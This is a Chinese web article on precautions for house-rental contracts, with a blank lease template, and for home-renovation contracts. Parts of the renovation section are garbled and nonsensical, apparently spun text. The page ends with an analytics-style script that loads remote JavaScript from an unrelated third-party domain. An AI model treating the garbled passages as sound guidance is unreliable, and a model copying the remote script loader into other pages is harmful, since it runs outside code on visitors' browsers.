房屋出租合同注意事项有哪些

在现在的社会了，每个人都会想着赚钱，追求物质东西。于是都会外出打工，想家里的生活过得更美好一点，让家里人少受点苦，这种观念。在农村或者是偏远的地方的人更是牢牢记住的，为此他们都会远离家乡，走出村中小巷，去繁荣的城市寻求更好的发展，去挑战社会。不过在这种时候，住是首要的问题，不少人都会去租房子。现在小编为大家科普一下房屋出租合同注意事项吧!第一条甲方保证所出租的房屋符合国家对租赁房屋的有关规定。第二条房屋的坐落、面积、装修、设施情况1、甲方出租给乙方的房屋位于(省、市)(区、县);门牌号为。2、出租房屋面积共平方米(建筑面积/使用面积/套内面积)。3、该房屋现有装修及设施、设备情况详见合同附件。该附件作为甲方按照本合同约定交付乙方使用和乙方在本合同租赁期满交还该房屋时的验收依据。第三条甲方应提供房产证(或具有出租权的有效证明)、身份证明(营业执照)等文件，乙方应提供身份证明文件。双方验证后可复印对方文件备存。所有复印件仅供本次租赁使用。第四条租赁期限、用途1、该房屋租赁期共个月。自年月日起至年月日止。2、乙方向甲方承诺，租赁该房屋仅作为使用。3、租赁期满，甲方有权收回出租房屋，乙方应如期交还。乙方如要求续租，则必须在租赁期满个月之前书面通知甲方，经甲方同意后，重新签订租赁合同。第五条租金及支付方式1、该房屋每月租金为元(大写万仟佰拾元整)。租金总额为元(大写万仟佰拾元整)。2、房屋租金支付方式如下：甲方收款后应提供给乙方有效的收款凭证。第六条租赁期间相关费用及税金1、甲方应承担的费用：租赁期间，房屋和土地的产权税由甲方依法交纳。如果发生政府有关部门征收本合同中未列出项目但与该房屋有关的费用，应由甲方负担。2、乙方交纳以下费用：(1)乙方应按时交纳自行负担的费用。(2)甲方不得擅自增加本合同未明确由乙方交纳的费用。第七条房屋修缮与使用1、在租赁期内，甲方应保证出租房屋的使用安全。该房屋及所属设施的维修责任除双方在本合同及补充条款中约定外，均由甲方负责(乙方使用不当除外)。甲方提出进行维修须提前日书面通知乙方，乙方应积极协助配合。乙方向甲方提出维修请求后，甲方应及时提供维修服务。对乙方的装修装饰部分甲方不负有修缮的义务。2、乙方应合理使用其所承租的房屋及其附属设施。如因使用不当造成房屋及设施损坏的，乙方应立即负责修复或经济赔偿。乙方如改变房屋的内部结构、装修或设置对房屋结构有影响的设备，设计规模、范围、工艺、用料等方案均须事先征得甲方的书面同意后方可施工。租赁期满后或因乙方责任导致退租的，除双方另有约定外，甲方有权选择以下权利中的一种：(1)依附于房屋的装修归甲方所有。(2)要求乙方恢复原状。(3)向乙方收取恢复工程实际发生的费用。第八条房屋的转让与转租1、租赁期间，甲方有权依照法定程序转让该出租的房屋，转让后，本合同对新的房屋所有人和乙方继续有效。2、未经甲方同意，乙方不得转租、转借承租房屋。3、甲方出售房屋，须在个月前书面通知乙方，在同等条件下，乙方有优先购买权。看了这些条项，小编认为大家已经对租房子的条例有了一定的认知了吧!一个人外出打工，最重要的莫过于有瓦遮头，住是一个很重要的环节，租房子是很多刚创业的人的最合适选择，钱不多，买不起房子，又要找地方住。不过租房子必不可少的就是租房合同了，希望小编为大家科普的这些租房注意事项能帮助到大家更好地看清合同，不要签一些骗人的条款。

房屋装修合同简单介绍一下注意事项

接下来为大家房屋装修合同简单介绍。1.房屋装修合同简单介绍项目：在签订房屋装修合同之前，大多数装修公司将为装修用户提供整体报价。然后，在检查时，您需要仔细检查每个项目以查看是否有任何缺失的项目。如果你不仔细检查，很容易遇到延迟添加的问题，导致翻新预算超支。另外，用户最好结合设计图纸进行审核，以便检查，思路比较清晰，以免混淆装修公司，当然最好写一下内容合同中的报价。2，房屋装修合同简单介绍材料：装修材料在预算中考虑，使用费用很大，在很多装修公司签发的合同中，使用的材料一般比较一般，没有仔细标注出来，使装修材料出现分充电好问题。如果装修合同没有明确标明所使用的材料，那么一旦将来出现问题，权利保护就会更加复杂。因此，在谈判装修合同时，装修公司必须清楚标明所用材料的种类，数量，价格等，并尽量做到尽可能详细。3，面积：装修费用的水平将直接受施工区域的影响，为了寻求更多的利润，装修将在建筑面积。因此，在进行房屋装修合同检查时，应了解施工区域是否一致，采用何种计算方法以避免损害自身利益。4，房屋装修合同简单介绍施工期限：一般情况下，装修合同定制时，有必要详细说明房屋的施工期限，以避免一方造成的问题和延误责任的责任。因此，需要明确标记，这对用户的权利保护非常有帮助。装修公司在施工期内未完工，可以获得一定的补偿。5.付款方式：在房屋装修合同中，要明确标注付款方式，尽量避免装修公司随意收费，造成施工质量问题。最好根据每个时间表进行付款。最好在施工验收通过后付款。今天关于房屋装修合同简单介绍的内容就到这里了，大家在装修的时候要多多注意。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();